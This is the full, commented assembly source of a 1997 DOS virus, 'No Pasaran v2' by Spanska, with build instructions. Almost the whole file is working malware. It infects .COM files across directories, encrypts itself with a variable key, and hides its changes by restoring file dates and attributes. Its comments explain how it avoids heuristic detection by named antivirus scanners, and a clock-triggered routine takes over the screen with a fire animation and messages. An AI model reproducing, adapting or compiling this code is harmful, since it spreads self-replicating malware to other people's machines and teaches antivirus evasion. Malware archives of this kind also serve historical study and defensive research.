; NO PASARAN virus version 2 by Spanska ; Called Spanska.1000 by AV people ; This is my first virus ; ;*********************************************************************** ; ; This virus is dedicated to all spanish and international young ; guys who fighted against fascist army during Spanish Civil War ; (1936-1939). They said "THEY SHALL NOT PASS!" ; ;********************************contact me at el_gato@rocketmail.com*** ; ; No flag with TBSCAN ; At the time it was released (january 97), was not detected by ; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode ; but by DrWeb in heuristic mode (i didn't know this program...) ; ; generation zero size: 3537 bytes ; virus size: 1000 bytes ; ; Compile it with TASM /m2 and TLINK /t ; ; Properties: ; simple .com runtime infector ; not destructive ; encrypted with variable key ; infects 7 files each run ; infects current directory, than upper directories ; when it reaches the root, it starts infecting all "level1" subdirectories ; doe not infect files >60,000 or <100 bytes, nor command.com ; the VGA graphic bomb (a fire effect) explodes when minutes=22 ; and seconds<30 (1/120) code segment assume ds:code, ss:code, cs:code, es:code org 100h ; ;---------------fake host code-------------------- ; hote: call virus ;jump to viral code (avoid J flag) signature db "lc" ;virus signature nop ; nop ;fake host nop ; nop ; mov ah, 4ch ;finished mov al,0 ;go to int 21h ;DOS ;********************************************************************** ; START OF VIRAL CODE ;********************************************************************** virus: ;virus starts here jmp evite ;avoid next routine ;=== simulation of a stosb === ;=== when outside decrypt loop === ;=== do not flag # === baise_flag_cryptage: ;=== mov [di], al ;=========>>> NO MORE FLAG "#" !!!!! inc di ;=== ret ;=== ;=================================== ; ;---------------get delta offset---------------------------- ; evite: call $+3 ;modified classic delta: ;routine to mov bp, sp ;avoid flag E mov ax, [bp] ; add word ptr [bp], decrypte-delta ;thanks Slacker's Theory sub ax, offset delta ;of Code through Obscurity! mov bp, ax ret ; ;----------------------decrypting routine------------------------- ; decrypte: mov dl, [bp+offset clef] ;get actual key mov cx, fin_cryptage - debut_cryptage ; lea si, [bp+offset debut_cryptage] ; mov di, si ; xor_loop: ;decrypt loop mov al, [si] ; inc si ; xor al, dl ; call baise_flag_cryptage ;call the fake stosb to avoid flag # loop xor_loop ; ;-----initialization to 0 of both infection and directory counters-------- ; debut_cryptage: ;crypted zone starts here mov byte ptr [bp+offset compteur], 0 ;infection counter mov byte ptr [bp+offset phase], 0 ;directory counter ; ;-----------------------remember current repertory----------------------- ; lea si, [bp+offset repert] ; xor dl, dl ; mov ah, 47h ; int 21h ; ; ;-----------------DTA go to a predefined zone in memory------------------ ; push 1a00h ;push/pop to pop ax ;avoid flag F lea dx, [bp+offset dta] ; int 21h ; ; ;------------------------find first file--------------------------------- ; recherche: mov cx, 0007h ; lea dx, [bp+offset file_type] ; mov ax, 4e00h ; int 21h ;file found? jnc sauter_suivant ;yes => c=0, let's continue jmp rep_sup ;no => go to upper directory ; ;---------------------------find next file-------------------------------- ; fichier_suivant: lea dx, [bp+offset file_type] ; mov ax, 4f00h ; mov cx, 0007h ; int 21h ;file found? jnc saut5 ;yes => c=0, let's continue jmp rep_sup ;no => go to upper direcory saut5: ; ;---------------verify if extension is really .com--------------------- ; (it's made to avoid flag S with tbscan) ; (and to avoid AVP detection 'cause AVP detects all combinations ; like .c?m, .?om..., BUT .c*) ; sauter_suivant: mov cx, 13d ;max size of a file name (not really, but lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere) compare: ;loop for detecting start of the extension lodsb ;letter in al cmp al, "." ;is it a point? jne compare ;no => test next letter inc si ;yes => si points on second extension letter cmp word ptr [si], "MO" ;second and third letters are "OM"? jne fichier_suivant ;no => find next file ; ;-------------------verify if it's command.com---------------------------- ; cmp word ptr [bp+offset dta+1eh+2], "MM" je fichier_suivant ;yes => find next file ; ;------------attributes to 0 to infect special files--------------------- ; lea dx, [bp+offset dta+1eh] ;file name pointed with dx push 4301h ;push/pull to pop ax ;avoid flag F xor cx, cx ; int 21h ; ; ;---------------------------open file------------------------------------ ; mov ax, 3D02h ; lea dx, [bp+offset dta+1eh] ; int 21h ;file found? jnc saut2 ;yes => c=0, let's continue jmp remise_en_etat ;no => arrange file and close it saut2: ; mov [bp+offset handle],ax ; ; ;-----------------read 5 first bytes of the file--------------------- ; xchg ax, bx ; mov cx, 5 ; mov ax, 3F00h ; lea dx, [bp+offset contenu] ;bytes go to "contenu" zone int 21h ;file found? jnc saut3 ;yes => c=0, let's continue jmp remise_en_etat ;no => arrange file and close it saut3: ; ; ;------------------is the file already infected?----------------------- ; cmp word ptr [bp+offset contenu+3], "cl" ;compare with signature jnz saut4 ;not infected => z=0, let's continue jmp remise_en_etat ;already infected => arrange file and close saut4: ; ; ;-----------------------is the size correct?--------------------------- ; cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000 jna pas_trop_gros ;is it bigger? jmp remise_en_etat ;yes => find next file pas_trop_gros: ;no => other verification cmp word ptr [bp+offset dta+1ah], 100 ;compare size with 100 jnb verif_ok ;if >100 let's continue ; ;--------arrange file and close it in case of non-infection------------- ; remise_en_etat: mov ah, 3Eh ; int 21h ;close it ; ;------------------restore attributes----------------------------------- ; lea dx, [bp+offset dta+1eh] ; xor ch, ch ; mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA push 4301h ;push/pop to pop ax ;avoid flag F int 21h ; ; ;----------after arranging the file, let's find another one------------- ; jmp fichier_suivant ;go to find-next routine ; ;-------------------disk file pointer at the end------------------- ; verif_ok: mov ax, 4202h ; xor cx, cx ; mov dx, cx ; int 21h ; ; ;----------------------infection routine------------------------------ ; ;first, let's write non-encrypted part ; mov ax, 4000h ; mov cx, debut_cryptage - virus ; lea dx, [bp+offset virus] ; int 21h ; ; ;second, let's crypt next part in memory ; mov cl, [bp+offset cinq_octets+1] ;cl=new key mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone lea si, [bp+offset debut_cryptage] ;si=start of the crypted zone lea di, [bp+offset zone_de_travail] ;di=temporary mem zone for crypting xchg cl, dl ;key in dl mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt crypte_et_transfere: ; lodsb ; xor al, dl ;classic XOR crypting loop stosb ; loop crypte_et_transfere ; ; ;third, disk writing of the crypted zone ; mov ax, 4000h ; mov cx, fin_cryptage - debut_cryptage ;number of bytes to write lea dx, [bp+offset zone_de_travail] ; int 21h ; ; ;------write on disk real 5 first bytes of the file+new crypt key-------- ;----from "contenu" zone in memory to "cinq_octets" zone on the disk)---- ; ;1) move disk file pointer to good zone ; xor cx, cx ; mov dx, word ptr [bp+offset dta+1ah] ;non-infected file size in dx add dx, cinq_octets - virus ;add offset of good zone mov ax, 4200h ; int 21h ; ; ;2) move memory pointer to good zone, and transfer ; mov cx, 6 ;we will write 6 bytes lea dx, [bp+offset contenu] ;("contenu" + "clef_temp") push 4000h ;so 5 first bytes + new key pop ax ;this push/pop is not necessary int 21h ; ; ;--overwrite 5 first bytes on the disk by jump to virus code + signature--- ; ;1) move disk file pointer to start of the file ; xor cx,cx ; mov dx, cx ; mov ax, 4200h ; int 21h ; ; ;2) calculate initial jump and write all on a temp zone in memory ;(NB: we use the "contenu" memory zone which is not more util) ; mov byte ptr [bp+offset contenu], 0e8h ;E8=opcode of CALL mov ax, word ptr [bp+offset dta+1ah] ;ax=file size sub ax, 3 ;this is because of the CALL mov word ptr [bp+offset contenu+1], ax ;write deplacement mov word ptr [bp+offset contenu+3], "cl" ;write signature ; ;3) overwrite 5 first bytes on the file ; mov cx,5 ; lea dx, [bp+offset contenu] ; mov ax, 4000h ; int 21h ; ; ;-------------------restore time/date of the file------------------------ ; mov dx, word ptr [bp+offset dta+18h] ;date in dx mov cx, word ptr [bp+offset dta+16h] ;time in cx push 5701h ;push/pop pop ax ;to avoid flag F int 21h ; ; ;-----------------------------close file--------------------------------- ; mov ah, 3Eh ; int 21h ; ; ;------------------------restore file attributes----------------------- ; lea dx, [bp+offset dta+1eh] ; xor ch, ch ; mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA push 4301h ; pop ax ; int 21h ; ; ;--------------verify how many files we have infected------------------ ; mov byte ptr cl, [bp+offset compteur] ;infection counter in cl inc cl ;one more cmp cl, 7 ;have we infected 7 files? je attendre ;yes => let's stop mov byte ptr [bp+offset compteur], cl ;no => write new value of counter ; ;-----------------------let's infect a new file------------------------- ; jmp fichier_suivant ;infect next file ; ;---------------------climb to upper directory-------------------------- ; rep_sup: lea dx, [bp+offset dot] ;let's go to ".." repertory mov ah, 3bh ; int 21h ;are we in the root? jc on_redescend ;yes => c=1, let's go down now jmp recherche ;no => find first file ; ;---if we are in root, let's go to all "first-level" subdirectories----- ; on_redescend: ; mov ah, 4eh ;find first file mov cx, 16 ;with repertory attribute lea dx, [bp+offset dir_masque] ;called "*.*"... int 21h ; jc attendre ;there are no subdirectory => stop cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)? je le_premier ;phase=0 => do not find next dir xor bh, bh ; mov bl, byte ptr [bp+offset phase] ;bx=phase rep_suivant: ;loop to avoid all subdir already infected mov cx, 16 ;rep attributes mov ah, 4fh ;find next dir lea dx, [bp+offset dir_masque] ; int 21h ; jc attendre ;there are no subdirectory => stop cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory? jne rep_suivant ;no => find next dec bx ;this routine is made to infect cmp bx, 0 ;directory "number phase" jne rep_suivant ;if bx<>0, the subdir is already infected le_premier: add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected lea dx, [bp+offset dta+1eh] ;so, let's change mov ah, 3bh ;directory to it int 21h ; jmp recherche ;and infect this new subdirectory ; ;-----in case of problem, or no more directory to infect, we go here------ ; attendre: ; ; ;------------------DTA in the normal zone----------------------------- ; (to avoid perturbing host program) ; push 1a00h ;push/pop pop ax ;to avoid flag F mov dx, 80h ;to 80h, the normal zone int 21h ; ; ;------restore the directory in which we were when we started------------- ; ;primo, rapid climb until the root ; remontee_finale: lea dx, [bp+offset dot] ; mov ah, 3bh ; int 21h ; jnc remontee_finale ;continue until we are in the root ; ;secundo, we go to the directory in which we were at start ; lea dx, [bp+offset repert] ;we saved the dir in this zone mov ax, 3B00h ;change dir int 21h ; ; ;------replace 5 first bytes of the host in memory---------- ; lea si, [bp+offset cinq_octets] ;original 5 bytes were stored here mov ax, 101h ;classic trick to dec ax ;avoid flag B mov di, ax ;100h in DI for transfer mov cx, 5 ;write 5 bytes rep movsb ;transfer them ; ;--------------------does the bomb explode?--------------------- ; mov ah, 2Ch ;internal clock: ch=hour et cl=minute int 21h ; cmp cl, 22d ;minutes = 22? jne redonner_la_main ;no => return to host cmp dh, 30d ;yes => test seconds jb bombe ;if seconds <30 (1/120) the bomb explodes ; ;-----------------------return to host---------------------------- ; (remember the very first CALL: we have 103h on the stack) ; redonner_la_main: pop ax ;get 103h sub ax, 3 ;we want 100h push ax ;re-put it on stack (for the RET) xor ax, ax ;a starting program xor bx, bx ;likes to find all xor cx, cx ;registers equals xor dx, dx ;to zero. ret ;on redonne la main au pauvre programme nop nop ;just for fun: with these 3 nops, virus size is just 1000. nop ; ;********************************************************************** ; CODE OF THE GRAPHIC BOMB: A FIRE EFFECT ;********************************************************************** bombe: ;--------------------------------VGA----------------------------------- mov ax, 13h ; int 10h ;goto graphic mode ;------initialisation of the flame palette (black=>red=>white)---------- mov dx, 3c8h ;dx = palette port xor al, al ;starting with color 0 out dx, al ;write first color in the port inc dx ;define all colors xor cx, cx ;component red start from 0 and augment rouges: ;let's define colors from 0 to 62 mov al, cl ;first component (red) equal to cl out dx, al ;write on palette port xor al, al ;others components (blue, green) to zero out dx, al ;write blue component out dx, al ;write green component inc cx ;increment red component of color cmp cx, 63 ;do cx reach 63? jne rouges ;no => continue loop xor cx, cx ;component blue start from 0 and augment jaunes: ;let's define colors from 63 to 125 mov al, 63 ;component red equal to 63 out dx, al ;write it mov al, cl ;second component (blue) equal to cl out dx, al ;write it xor al, al ;third component (green) equal to zero out dx, al ;write it inc cx ;increment blue component of color cmp cx, 63 ;do cx reach 63? jne jaunes ;no => continue loop xor cx, cx ;component green start from 0 and augment blancs: ;let's define colors from 126 to 188 mov al, 63 ;components red and blue equal to 63 out dx, al ;write red component out dx, al ;write blue component mov al, cl ;third component (green) equal to cl out dx, al ;write it inc cx ;increment green component of color cmp cx, 63 ;do cx reach 63? jne blancs ;no => continue loop mov cx, 198 ;we're going to define 198/3=66 next colors blancfin: ;let's define colors from 189 to 254 mov al, 255 ;all components are maximum out dx, al ;so these colors are white loop blancfin ; xor al, al ;define last color (number 255) mov cx, 3 ;in black so we do not see the rep out dx, al ;focus at the bottom of the flame ;------------draw some focus at the bottom at random places-------------- mov ax, 0a000h ;video mem mov es, ax ;segment in es boucle: mov di, (320*199)+5 ;start line 199, 5 pixels from the left side foyers: call random ;bring back a random dl between 0 and 255 cmp dl, 180 ;dl>180? jb noir ;no => no focus, color to black mov dl, 255 ;yes => a focus, color to white jmp blanc ;avoid "no focus" routine noir: xor dl, dl ;no focus, color to black blanc: mov al, dl ;load al with color mov cx, 5 ;focuses are 5 pixels long zobi: stosb ;draw focus pixel add di, 319 ;and draw another pixel stosb ;under the first sub di, 320 ;(more beautiful) loop zobi cmp di, (320*199)+30 ;the torch will be 30 pixels wide jb foyers ;focus line not finished, so loop ;--------real screen--->modification--->virtual screen------------------ mov di, 320*120 ;we use just the 80 bottom lines lea si, [bp+offset ecran_virtuel] ;memory zone for calculations mov dx, 80 ;line loop: 80 repetitions xor ax, ax ;we gonna use ax, so put zero ecran: ;start of line loop mov cx, 30 ;column loop: 30 repetitions modif: ;start of column loop mov al, es:[di] ;in al, color of current pixel add al, es:[di+320] ;add pixel color just under it adc ah, 0 ;result may be >255, so add carry add al, es:[di+319] ;add pixel color under it to the left adc ah, 0 ;add carry add al, es:[di+641] ;add pixel 2 lines under it to the right adc ah, 0 ;add carry shr ax, 1 ;calculate the average color of these shr ax, 1 ;4 pixels, dividing ax by 4 cmp al, 0 ;is this average value black? je bitnoir ;yes => do not decrement color dec al ;no => decrement color bitnoir: mov ds:[si], al ;write pixel with new color on memory inc si ;next pixel on memory (virtual screen) inc di ;next pixel on screen (real screen) loop modif ;finish the line add di, (320-30) ;on screen, go to first pixel of next line dec dx ;dx = line counter, decrement it cmp dx, 0 ;are we to the bottom of the screen? jne ecran ;no => let's go to next line ;----------------virtual screen--->real screen------------------------- mov di, (320*120) ;di points to line 120 on real screen lea si, [bp+offset ecran_virtuel] ;si points to start of virtual screen xor dx, dx ;line counter to zero deux_flammes: mov cx, 30 ;copy one line to the rep movsb ;left side of the screen sub si, 30 ;virtual: rewind to the start of the same line add di, 230 ;real: draw the second torch at column 230+30+5 mov cx, 30 ;copy the same line to the rep movsb ;right side of the screen add di, 30 ;real: start next line (NB: 295+30=320+5) inc dx ;increment line counter cmp dx, 79 ;copy 78 lines jne deux_flammes ;--------------put text cursor at line 5, column 1---------------------- mov dx, 0501h ;dh=line, dl=column xor bh, bh ;page zero mov ah,02h ;put cursor to position DH, DL int 10h ;BIOS screen int ;--------------------write text message on screen----------------------- mov ah, [bp+offset clignote] ;blink counter in ah inc ah ;increment it mov [bp+offset clignote], ah ;put it back to its place cmp ah, 128 ;compare it to 128 (alternance time 50/50) ja second_message ;inferior => write second message lea si, [bp+offset message] ;superior => write first message jmp premier_message ;and avoid second message second_message: ; lea si, [bp+offset message2] ;now write second message premier_message: mov cx, 36 ;message lenght affiche_message: lodsb ;load letter in al mov bl, 254 ;and color in bl (white) mov ah, 0Eh ; int 10h ;write this letter on screen loop affiche_message jmp boucle ;return to step "draw focus" ;-----------random number creation routine (stolen somewhere)-------------- random proc near mov ax, [bp+offset aleat] mov dx, 8405h mul dx inc ax mov [bp+offset aleat], ax ret random endp ;--------------memory zones of the graphic effect------------------------ message db " Remember those who died for Madrid " ;message 1 message2 db "No Pasaran! Virus v2 by Spanska 1997" ;message 2 clignote db 00 ;blink counter aleat dw 0AAh ;random seed ; ;-------------------memory zones of the virus---------------------------- ; dir_masque db "*.*",0 ;mask to find subdirectories file_type db "*.c*",0 ;mask to find file type dot db "..",0 ;mask to find upper directory fin_cryptage: ;end of crypting cinq_octets db 5 dup(90h) ;5 first bytes of host clef db 0 ;crypt key ; ;--------these temporary memory zones are not written on disk------------ ; phase db 0 ;to find the good subdirectories compteur db 0 ;infection counter handle db 0,0 ;file handle contenu db 0,0,0,0,0 ;to read 5 first bytes of a file clef_temp db 0 ;crypt key dta db 48 dup (0AAh) ;DTA zone repert db 64 dup (0FFh) ;starting directory ecran_virtuel db 80*30 dup (00) ;virtual screen zone_de_travail: ;used to crypt virus code ends end hote ; ------------------------(c) Spanska 1997------------------------------